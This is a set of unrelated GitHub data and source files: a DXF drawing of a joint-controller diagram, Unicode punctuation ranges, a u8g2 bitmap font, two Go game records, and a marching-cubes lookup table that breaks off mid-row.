-18.78 20 19.91778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 198 10 -18.78 20 19.88222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 199 10 -18.7 20 19.9 30 0.0 0 SEQEND 8 0 5 19A 0 POLYLINE 8 STANDARD 62 7 5 19B 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 19C 10 -19.0 20 19.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 19D 10 -19.0 20 19.7 30 0.0 0 SEQEND 8 0 5 19E 0 POLYLINE 8 STANDARD 62 7 5 19F 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A0 10 -21.6 20 22.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A1 10 -21.4 20 22.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A2 10 -21.4 20 22.4 30 0.0 0 SEQEND 8 0 5 1A3 0 POLYLINE 8 STANDARD 62 7 5 1A4 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A5 10 -21.6 20 22.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A6 10 -21.52 20 22.68222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A7 10 -21.52 20 22.71778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1A8 10 -21.6 20 22.7 30 0.0 0 SEQEND 8 0 5 1A9 0 POLYLINE 8 STANDARD 62 7 5 1AA 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1AB 10 -21.4 20 22.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1AC 10 -16.2 20 22.4 30 0.0 0 SEQEND 8 0 5 1AD 0 POLYLINE 8 STANDARD 62 7 5 1AE 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1AF 10 -21.4 20 22.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1B0 10 -21.32 20 22.38222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1B1 10 -21.32 20 22.41778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1B2 10 -21.4 20 22.4 30 0.0 0 SEQEND 8 0 5 1B3 0 LINE 8 STANDARD 62 7 5 1B4 10 -23.0 20 19.5 30 0.0 11 -23.0 21 19.2 31 0.0 0 LINE 8 STANDARD 62 7 5 1B5 10 -18.1 20 19.5 30 0.0 11 -18.1 21 19.2 31 0.0 0 LINE 8 STANDARD 62 7 5 1B6 10 -23.4 20 23.2 30 0.0 11 -23.4 21 18.4 31 0.0 0 LINE 8 STANDARD 62 7 5 1B7 10 -21.4 20 22.4 30 0.0 11 -23.6 21 22.4 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 1B8 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1B9 10 -23.6 20 22.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1BA 10 -23.52 20 22.38222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1BB 10 -23.52 20 22.41778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1BC 10 -23.6 20 22.4 30 0.0 0 SEQEND 8 0 5 1BD 0 LINE 8 STANDARD 62 7 5 1BE 10 -14.1 20 22.3 30 0.0 11 -14.1 21 19.3 31 0.0 0 LINE 8 STANDARD 62 7 5 1BF 10 -14.1 20 22.5 30 0.0 11 -14.1 21 23.2 31 0.0 0 LINE 8 STANDARD 62 7 5 1C0 10 -14.1 20 23.2 30 0.0 11 -23.4 21 23.2 31 0.0 0 LINE 8 STANDARD 62 7 5 1C1 10 -14.1 20 19.1 30 0.0 11 -14.1 21 18.4 31 0.0 0 LINE 8 STANDARD 62 7 5 1C2 10 -14.1 20 18.4 30 0.0 11 -23.4 21 18.4 31 0.0 0 LINE 8 STANDARD 62 7 5 1C3 10 -21.3 20 19.2 30 0.0 11 -23.0 21 19.2 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 1C4 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1C5 10 -21.3 20 19.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1C6 10 -21.38 20 19.21778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1C7 10 -21.38 20 19.18222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1C8 10 -21.3 20 19.2 30 0.0 0 SEQEND 8 0 5 1C9 0 LINE 8 STANDARD 62 7 5 1CA 10 -23.0 20 19.2 30 0.0 11 -23.6 21 19.2 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 1CB 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1CC 10 -23.0 20 19.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1CD 10 -23.08 20 19.21778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1CE 10 -23.08 20 19.18222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 1CF 10 -23.0 20 19.2 30 0.0 0 SEQEND 8 0 5 1D0 0 TEXT 8 STANDARD 62 7 5 1D1 10 -13.665 20 19.225 30 0.0 40 0.1 1 Output 7 STYLE1 72 1 11 -13.5 21 19.275 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D2 10 -13.665 20 19.075 30 0.0 40 0.1 1 to HAL 7 STYLE1 72 1 11 -13.5 21 19.125 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D3 10 -13.72 20 22.425 30 0.0 40 0.1 1 Feedback 7 STYLE1 72 1 11 -13.5 21 22.475 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D4 10 -13.72 20 22.275 30 0.0 40 0.1 1 from HAL 7 STYLE1 72 1 11 -13.5 21 22.325 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D5 10 -24.4025 20 22.425 30 0.0 40 0.1 1 Feedback to 7 STYLE1 72 1 11 -24.1 21 22.475 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D6 10 -24.375 20 22.275 30 0.0 40 0.1 1 Kinematics 7 STYLE1 72 1 11 -24.1 21 22.325 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D7 10 -24.32 20 19.3 30 0.0 40 0.1 1 Commands 7 STYLE1 72 1 11 -24.1 21 19.35 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D8 10 -24.21 20 19.15 30 0.0 40 0.1 1 from 7 STYLE1 72 1 11 -24.1 21 19.2 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1D9 10 -24.375 20 19.0 30 0.0 40 0.1 1 Kinematics 7 STYLE1 72 1 11 -24.1 21 19.05 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 1DA 10 -19.14 20 22.95 30 0.0 40 0.1 1 JOINT CONTROLLER 7 STYLE1 72 1 11 -18.7 21 23.0 31 0.0 73 2 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
0021..0021 002C..002C 002E..002E 003A..003B 003F..003F 037E..037E 0387..0387 0589..0589 05C3..05C3 060C..060C 061B..061B 061F..061F 06D4..06D4 0700..070A 070C..070C 07F8..07F9 0830..083E 085E..085E 0964..0965 0E5A..0E5B 0F08..0F08 0F0D..0F12 104A..104B 1361..1368 166D..166E 16EB..16ED 1735..1736 17D4..17D6 17DA..17DA 1802..1805 1808..1809 1944..1945 1AA8..1AAB 1B5A..1B5B 1B5D..1B5F 1C3B..1C3F 1C7E..1C7F 203C..203D 2047..2049 2E2E..2E2E 2E3C..2E3C 2E41..2E41 3001..3002 A4FE..A4FF A60D..A60F A6F3..A6F7 A876..A877 A8CE..A8CF A92F..A92F A9C7..A9C9 AA5D..AA5F AADF..AADF AAF0..AAF1 ABEB..ABEB FE50..FE52 FE54..FE57 FF01..FF01 FF0C..FF0C FF0E..FF0E FF1A..FF1B FF1F..FF1F FF61..FF61 FF64..FF64 1039F..1039F 103D0..103D0 10857..10857 1091F..1091F 10A56..10A57 10AF0..10AF5 10B3A..10B3F 10B99..10B9C 11047..1104D 110BE..110C1 11141..11143 111C5..111C6 111CD..111CD 11238..1123C 115C2..115C5 115C9..115C9 11641..11642 12470..12474 16A6E..16A6F 16AF5..16AF5 16B37..16B39 16B44..16B44 1BC9F..1BC9F
{ "pile_set_name": "Github" }
/* Fontname: -Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 191/1848 BBX Build Mode: 0 */ const uint8_t u8g2_font_5x7_tf[1677] U8G2_FONT_SECTION("u8g2_font_5x7_tf") = "\277\0\2\2\3\3\3\4\4\5\7\0\377\6\377\6\0\1\22\2/\6p \5\0\275\1!\6\261\261" "\31)\42\7[\267IV\0#\12-\261\253\206\252\206\252\0$\12-\261[\65\330 \245\5%\11\64" "\261\311 \366\6\1&\11,\261\213)V\61\5'\5\231\267\31(\7r\261S\315\0)\10r\261\211" "\251R\0*\7k\261I\325j+\12-\261\315(\16\231Q\4,\7[\257S%\0-\6\14\265\31" "\1.\6R\261\31\1/\7$\263\7\261\15\60\10s\261\253\134\25\0\61\7s\261K\262\65\62\12\64" "\261S\61\203X\216\0\63\13\64\261\31\31$\215dR\0\64\12\64\261\215\252\32\61\203\4\65\12\64\261" "\31\32l$\223\2\66\12\64\261S\31\254(\223\2\67\13\64\261\31\31\304\14b\6\21\70\12\64\261S" "\61\251(\223\2\71\12\64\261SQ\246\15\222\2:\7j\261\31q\4;\10\63\257\263\221*\1<\10" "k\261M\65\310 =\10\34\263\31\31\215\0>\11k\261\311 \203T\2\77\11s\261k\246\14\23\0" "@\11\64\261SQ\335H\1A\11\64\261SQ\216)\3B\12\64\261Yq\244(G\2C\13\64\261" "SQ\203\14bR\0D\11\64\261Y\321\71\22\0E\13\64\261\31\32\254\14\62\30\1F\13\64\261\31" "\32\254\14\62\310\0G\12\64\261SQ\203\64\323\0H\10\64\261\211rL\63I\7s\261Y\261\65J" "\13\64\261\7\31d\220\201L\12K\12\64\261\211*I\231\312\0L\14\64\261\311 \203\14\62\310`\4" "M\11\64\261\211\343\210f\0N\10\64\261\211k\251\63O\11\64\261S\321\231\24\0P\12\64\261YQ" "\216\224A\6Q\12<\257S\321\134I\243\0R\11\64\261YQ\216\324\14S\12\64\261S\61eT&" "\5T\7s\261Y\261\13U\10\64\261\211\236I\1V\11\64\261\211\316$\25\0W\11\64\261\211\346\70" "b\0X\12\64\261\211\62I\25e\0Y\10s\261IVY\1Z\12\64\261\31\31\304\66\30\1[\7" "s\261\31\261\71\134\11$\263\311(\243\214\2]\7s\261\231\315\21^\5S\271k_\6\14\261\31\1" "`\6R\271\211\1a\10$\261\33Q\251\2b\13\64\261\311 \203\25\345H\0c\7#\261\233\31\10" "d\12\64\261\7\31\244\21e\32e\11$\261Sid\240\0f\11\64\261\255\312\231A\4g\11,\257" "\33\61\251\214\6h\12\64\261\311 \203\25\315\0i\10s\261\313HV\3j\11{\257\315\260T\25\0" "k\13\64\261\311 \203\224d*\3l\7s\261\221]\3m\10$\261IiH\31n\7$\261Y\321" "\14o\10$\261SQ&\5p\11,\257YQ\216\224\1q\11,\257\33Q\246\15\2r\10$\261Y" "Q\203\14s\10$\261\33\32\15\5t\12\64\261\313 \316\14\62\22u\7$\261\211f\32v\7c\261" "IV\5w\7$\261\211r\34x\10$\261\211I\252\30y\11,\257\211\62\225%\0z\10$\261\31" "\261\34\1{\10s\261MI\326 |\5\261\261\71}\12s\261\311 \252\230\42\0~\7\24\271K*" "\1\240\5\0\275\1\241\6\261\261I#\242\11\64\257\215#\65g\2\243\10,\261UqV\2\244\13-" "\261\311 \315\24W\6\1\245\11s\261I\252Z\61\1\246\6\251\261Q\2\247\10{\257\233\252\222\13\250" "\6K\273I\1\251\15=\257[\31\250\64U\322 -\0\252\6\33\267[I\253\7\35\263\213\262\1\254" "\7\24\263\31\31\4\255\5K\265\31\256\14=\257[\31\214\64\247\6i\1\257\6\14\273\31\1\260\6[" "\267\353\2\261\13\65\261\315(\16\231Q\34\2\262\6b\265Q\6\263\6b\265\31i\264\6R\271S\0" "\265\10,\257\211\346H\31\266\10\64\261\33j\365\3\267\6R\265\31\1\270\6R\257S\0\271\7c\265" "K\62\15\272\6\33\267\353\2\273\10\35\263\211\245L\0\274\14<\257\311 \203\14bT\33\4\275\15<" "\257\311 \203\14\222\6\61\3\1\276\13<\257\221\32D\25\325\6\1\277\11s\261\313\60\305T\1\300\11" "\64\261SQ\216)\3\301\11\64\261SQ\216)\3\302\11\64\261SQ\216)\3\303\11\64\261SQ\216" ")\3\304\12\64\261\211I\305\61e\0\305\11\64\261\223*\216)\3\306\11\64\261\33\251\32\252%\307\13" "<\257SQ\203\14b\222\21\310\13\64\261\31\32\254\14\62\30\1\311\13\64\261\31\32\254\14\62\30\1\312" "\13\64\261\31\32\254\14\62\30\1\313\13\64\261\31\32\254\14\62\30\1\314\7s\261Y\261\65\315\7s\261" "Y\261\65\316\7s\261Y\261\65\317\7s\261Y\261\65\320\11\64\261\231iu\215\4\321\10\64\261Is" "\251\63\322\11\64\261S\321\231\24\0\323\11\64\261S\321\231\24\0\324\11\64\261S\321\231\24\0\325\11\64" "\261S\321\231\24\0\326\12\64\261\211IE\63)\0\327\10$\261\211I\252\30\330\11\64\261\33\351HG" "\2\331\10\64\261\211\236I\1\332\10\64\261\211\236I\1\333\10\64\261\211\236I\1\334\12\64\261\211\31E" "\63)\0\335\10s\261IVY\1\336\13\64\261\311`\305\221\62\310\0\337\11\64\261SQ\225V\2\340" "\12\64\261\313(\216\250T\1\341\11\64\261\255\301\210J\25\342\11\64\261\255\322\210J\25\343\12\64\261K" "*\216\250T\1\344\11\64\261\253\341\210J\25\345\11\64\261\223rD\245\12\346\10$\261\33i\305\1\347" "\10k\257\233\31\250\4\350\13\64\261\313(\252\64\62P\0\351\12\64\261\255\201J#\3\5\352\13\64\261" "\213)\252\64\62P\0\353\13\64\261I\231Pid\240\0\354\10s\261\311 \311j\355\7s\261+e" "\65\356\7s\261\253f\65\357\10s\261I\31\310j\360\12\64\261\313\310\212\62)\0\361\11\64\261K*" "\255h\6\362\12\64\261\313(\252(\223\2\363\12\64\261\255\201\212\62)\0\364\12\64\261\323\204\212\62)" "\0\365\12\64\261K*\252(\223\2\366\12\64\261\253\241\212\62)\0\367\11,\261\323pd\250\0\370\11" "$\261\33i\244\221\0\371\11\64\261\313\250\64\323\0\372\7\64\261m\232i\373\10\64\261\323\60\232i\374" "\11\64\261\253Q\64\323\0\375\11<\257m\312T\226\0\376\12\64\257\311`E\71R\6\377\12<\257\253" "Q\224\251,\1\0\0\0\4\377\377\0";
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2018-02-06] PB[BensonDarr]BR[9段] PW[恬谧自述]WR[9段] KM[750]HA[0]RU[Japanese]RE[B+R]TM[600]TC[3]TT[60] ;B[pp];W[dp];B[pc];W[dd];B[fc];W[qe];B[cf];W[df];B[dg];W[ef];B[cd] ;W[cc];B[ce];W[dc];B[gd];W[od];B[oc];W[nd];B[mc];W[md];B[lc];W[ld] ;B[kd];W[ke];B[je];W[nc];B[nb];W[ob];B[mb];W[qc];B[pb];W[jd];B[kc] ;W[kf];B[cq];W[cp];B[dq];W[fq];B[eq];W[ep];B[fr];W[qq];B[qp];W[pq] ;B[nq];W[nr];B[mr];W[oq];B[op];W[mq];B[np];W[lr];B[rq];W[ms];B[qr] ;W[pr];B[ps];W[or];B[pk];W[di];B[ch];W[ci];B[eg];W[gf];B[de];W[ee] ;B[ed];W[eb];B[fh];W[hf];B[ie];W[hh];B[ej];W[dk];B[fl];W[dl];B[qi] ;W[ol];B[nj];W[pl];B[qk];W[ml];B[lj];W[kl];B[jk];W[hj];B[mp];W[fj] ;B[gi];W[gj];B[jl];W[km];B[ei];W[jj];B[jh];W[kk];B[bc];W[bb];B[ig] ;W[gh];B[ii];W[hi];B[ij];W[hl];B[bd];W[ab];B[bi];W[bj];B[bh];W[kj] ;B[kg];W[qb];B[pd];W[pe];B[hk];W[gk];B[ik];W[gl];B[jm];W[li];B[ek] ;W[hd];B[hc];W[jn];B[mg];W[lp];B[in];W[gn];B[fm];W[hn];B[kn];W[jo] ;B[lo];W[ni];B[ql];W[pn];B[kp];W[lq];B[qn];W[bq];B[br];W[er];B[bp] ;W[cr];B[aq];W[dr];B[bq];W[gq];B[co];W[bn];B[fp];W[gp];B[cm];W[cn] ;B[dn];W[bm];B[dm];W[cl];B[fo];W[bk];B[ko])
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2018-06-10] PB[无心爱棋]BR[9段] PW[金毛测试]WR[9段] KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[10]TT[15] ;B[pd];W[dp];B[qp];W[dd];B[np];W[qc];B[qd];W[pc];B[nc];W[oc];B[od] ;W[nb];B[fq];W[pi];B[rc];W[rb];B[oi];W[ph];B[oh];W[og];B[pg];W[qg] ;B[pf];W[oj];B[pj];W[qj];B[pk];W[of];B[nj];W[qf];B[pe];W[qk];B[ok] ;W[nd];B[ne];W[mc];B[re];W[qm];B[le];W[cn];B[dq];W[cq];B[cr];W[eq] ;B[dr];W[ep];B[er];W[go];B[hp];W[ho];B[ip];W[fp];B[gp];W[io];B[jp] ;W[cg];B[dh];W[dg];B[fh];W[eg];B[fk];W[eh];B[ei];W[hk];B[gi];W[fg] ;B[ij];W[hh];B[eb];W[dc];B[hc];W[jc];B[jb];W[kb];B[fc];W[ib];B[ic] ;W[jd];B[hb];W[ja];B[cb];W[db];B[da];W[bc];B[cc];W[bd];B[ie];W[kf] ;B[mg];W[oq];B[nq];W[op];B[qn];W[rn];B[oo];W[nr];B[mr];W[pr];B[ro] ;W[pn];B[po];W[qo];B[on];W[mq];B[ns];W[or];B[lr];W[jo];B[qn];W[kq] ;B[kp];W[lq];B[rm];W[rl];B[sn];W[rh];B[kr];W[no];B[mp];W[lp];B[mo] ;W[lo];B[mn];W[jq];B[jr];W[iq];B[hr];W[ln];B[gr];W[mm];B[nn];W[gb] ;B[ga];W[ee];B[bb];W[ab];B[gf];W[ig];B[if];W[hj];B[cm];W[ge];B[he] ;W[cl];B[dm];W[bm];B[dl];W[bl];B[hi];W[ii];B[ji];W[ih];B[jj];W[kh] ;B[hm];W[ik];B[ke];W[jk];B[kk];W[kl];B[lj];W[gg];B[dn];W[co];B[fn] ;W[dj];B[hl];W[im];B[fo];W[gk];B[dk];W[ej];B[fj];W[cj];B[gl];W[lk] ;B[kj];W[il];B[jm];W[jn];B[hn];W[mk];B[lm];W[km];B[ko];W[kn];B[ml] ;W[ll];B[nl];W[gn])
{ "pile_set_name": "Github" }
// first row, topology // second row, number of triangles in the corresponding topology // static int acceptTopology[2][24] = {{1, 2, 3, 4, 6, 8, 9, 12, 15, 16, 17, 32, 34, 48, 51, 63, 64, 68, 96, 102, 111, 119, 127, 0}, // {1, 1, 2, 1, 2, 1, 2, 2, 2, 1, 2, 1, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 1, 0}}; static int acceptTopology[2][48] = {{1, 2, 3, 4, 6, 7, 8, 9, 11, 12, 13, 14, 15, 16, 17, 19, 25, 31, 32, 34, 35, 38, 47, 48, 49, 50, 51, 55, 59, 63, 64, 68, 70, 76, 79, 96, 98, 100, 102, 103, 110, 111, 112, 115, 118, 119, 127, 0}, {1, 1, 2, 1, 2, 3, 1, 2, 3, 2, 3, 3, 2, 1, 2, 3, 3, 3, 1, 2, 3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 1, 2, 3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 3, 3, 3, 2, 1, 0}}; static int triTable[256][16] = {{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 8, 3, 9, 8, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 2, 10, 0, 2, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 8, 3, 2, 10, 8, 10, 9, 8, -1, -1, -1, -1, -1, -1, -1}, {3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 11, 2, 8, 11, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 9, 0, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 11, 2, 1, 9, 11, 9, 8, 11, -1, -1, -1, -1, -1, -1, -1}, {3, 10, 1, 11, 10, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 10, 1, 0, 8, 10, 8, 11, 10, -1, -1, -1, -1, -1, -1, -1}, {3, 9, 0, 3, 11, 9, 11, 10, 9, -1, -1, -1, -1, -1, -1, -1}, {9, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 3, 0, 7, 3, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 1, 9, 4, 7, 1, 7, 3, 1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 4, 7, 3, 0, 4, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1}, {9, 2, 10, 9, 0, 2, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1}, {2, 10, 9, 2, 9, 7, 2, 7, 3, 7, 9, 4, -1, -1, -1, -1}, {8, 4, 7, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 4, 7, 11, 2, 4, 2, 0, 4, -1, -1, -1, -1, -1, -1, -1}, {9, 0, 1, 8, 4, 7, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1}, {4, 7, 11, 9, 4, 11, 9, 11, 2, 9, 2, 1, -1, -1, -1, -1}, {3, 10, 1, 3, 11, 10, 7, 8, 4, -1, -1, -1, -1, -1, -1, -1}, {1, 11, 10, 1, 4, 11, 1, 0, 4, 7, 11, 4, -1, -1, -1, -1}, {4, 7, 8, 9, 0, 11, 9, 11, 10, 11, 0, 3, -1, -1, -1, -1}, {4, 7, 11, 4, 11, 9, 9, 11, 10, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 4, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 5, 4, 1, 5, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 5, 4, 8, 3, 5, 3, 1, 5, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 8, 1, 2, 10, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1}, {5, 2, 10, 5, 4, 2, 4, 0, 2, -1, -1, -1, -1, -1, -1, -1}, {2, 10, 5, 3, 2, 5, 3, 5, 4, 3, 4, 8, -1, -1, -1, -1}, {9, 5, 4, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 11, 2, 0, 8, 11, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1}, {0, 5, 4, 0, 1, 5, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1}, {2, 1, 5, 2, 5, 8, 2, 8, 11, 4, 8, 5, -1, -1, -1, -1}, {10, 3, 11, 10, 1, 3, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 5, 0, 8, 1, 8, 10, 1, 8, 11, 10, -1, -1, -1, -1}, {5, 4, 0, 5, 0, 11, 5, 11, 10, 11, 0, 3, -1, -1, -1, -1}, {5, 4, 8, 5, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1}, {9, 7, 8, 5, 7, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 3, 0, 9, 5, 3, 5, 7, 3, -1, -1, -1, -1, -1, -1, -1}, {0, 7, 8, 0, 1, 7, 1, 5, 7, -1, -1, -1, -1, -1, -1, -1}, {1, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 7, 8, 9, 5, 7, 10, 1, 2, -1, -1, -1, -1, -1, -1, -1}, {10, 1, 2, 9, 5, 0, 5, 3, 0, 5, 7, 3, -1, -1, -1, -1}, {8, 0, 2, 8, 2, 5, 8, 5, 7, 10, 5, 2, -1, -1, -1, -1}, {2, 10, 5, 2, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1}, {7, 9, 5, 7, 8, 9, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 7, 9, 7, 2, 9, 2, 0, 2, 7, 11, -1, -1, -1, -1}, {2, 3, 11, 0, 1, 8, 1, 7, 8, 1, 5, 7, -1, -1, -1, -1}, {11, 2, 1, 11, 1, 7, 7, 1, 5, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 8, 8, 5, 7, 10, 1, 3, 10, 3, 11, -1, -1, -1, -1}, {5, 7, 0, 5, 0, 9, 7, 11, 0, 1, 0, 10, 11, 10, 0, -1}, {11, 10, 0, 11, 0, 3, 10, 5, 0, 8, 0, 7, 5, 7, 0, -1}, {11, 10, 5, 7, 11, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 0, 1, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 8, 3, 1, 9, 8, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1}, {1, 6, 5, 2, 6, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 6, 5, 1, 2, 6, 3, 0, 8, -1, -1, -1, -1, -1, -1, -1}, {9, 6, 5, 9, 0, 6, 0, 2, 6, -1, -1, -1, -1, -1, -1, -1}, {5, 9, 8, 5, 8, 2, 5, 2, 6, 3, 2, 8, -1, -1, -1, -1}, {2, 3, 11, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 0, 8, 11, 2, 0, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1}, {5, 10, 6, 1, 9, 2, 9, 11, 2, 9, 8, 11, -1, -1, -1, -1}, {6, 3, 11, 6, 5, 3, 5, 1, 3, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 11, 0, 11, 5, 0, 5, 1, 5, 11, 6, -1, -1, -1, -1}, {3, 11, 6, 0, 3, 6, 0, 6, 5, 0, 5, 9, -1, -1, -1, -1}, {6, 5, 9, 6, 9, 11, 11, 9, 8, -1, -1, -1, -1, -1, -1, -1}, {5, 10, 6, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 3, 0, 4, 7, 3, 6, 5, 10, -1, -1, -1, -1, -1, -1, -1}, {1, 9, 0, 5, 10, 6, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1}, {10, 6, 5, 1, 9, 7, 1, 7, 3, 7, 9, 4, -1, -1, -1, -1}, {6, 1, 2, 6, 5, 1, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 5, 5, 2, 6, 3, 0, 4, 3, 4, 7, -1, -1, -1, -1}, {8, 4, 7, 9, 0, 5, 0, 6, 5, 0, 2, 6, -1, -1, -1, -1}, {7, 3, 9, 7, 9, 4, 3, 2, 9, 5, 9, 6, 2, 6, 9, -1}, {3, 11, 2, 7, 8, 4, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1}, {5, 10, 6, 4, 7, 2, 4, 2, 0, 2, 7, 11, -1, -1, -1, -1}, {0, 1, 9, 4, 7, 8, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1}, {9, 2, 1, 9, 11, 2, 9, 4, 11, 7, 11, 4, 5, 10, 6, -1}, {8, 4, 7, 3, 11, 5, 3, 5, 1, 5, 11, 6, -1, -1, -1, -1}, {5, 1, 11, 5, 11, 6, 1, 0, 11, 7, 11, 4, 0, 4, 11, -1}, {0, 5, 9, 0, 6, 5, 0, 3, 6, 11, 6, 3, 8, 4, 7, -1}, {6, 5, 9, 6, 9, 11, 4, 7, 9, 7, 11, 9, -1, -1, -1, -1}, {10, 4, 9, 6, 4, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 10, 6, 4, 9, 10, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1}, {10, 0, 1, 10, 6, 0, 6, 4, 0, -1, -1, -1, -1, -1, -1, -1}, {8, 3, 1, 8, 1, 6, 8, 6, 4, 6, 1, 10, -1, -1, -1, -1}, {1, 4, 9, 1, 2, 4, 2, 6, 4, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 8, 1, 2, 9, 2, 4, 9, 2, 6, 4, -1, -1, -1, -1}, {0, 2, 4, 4, 2, 6, -1, 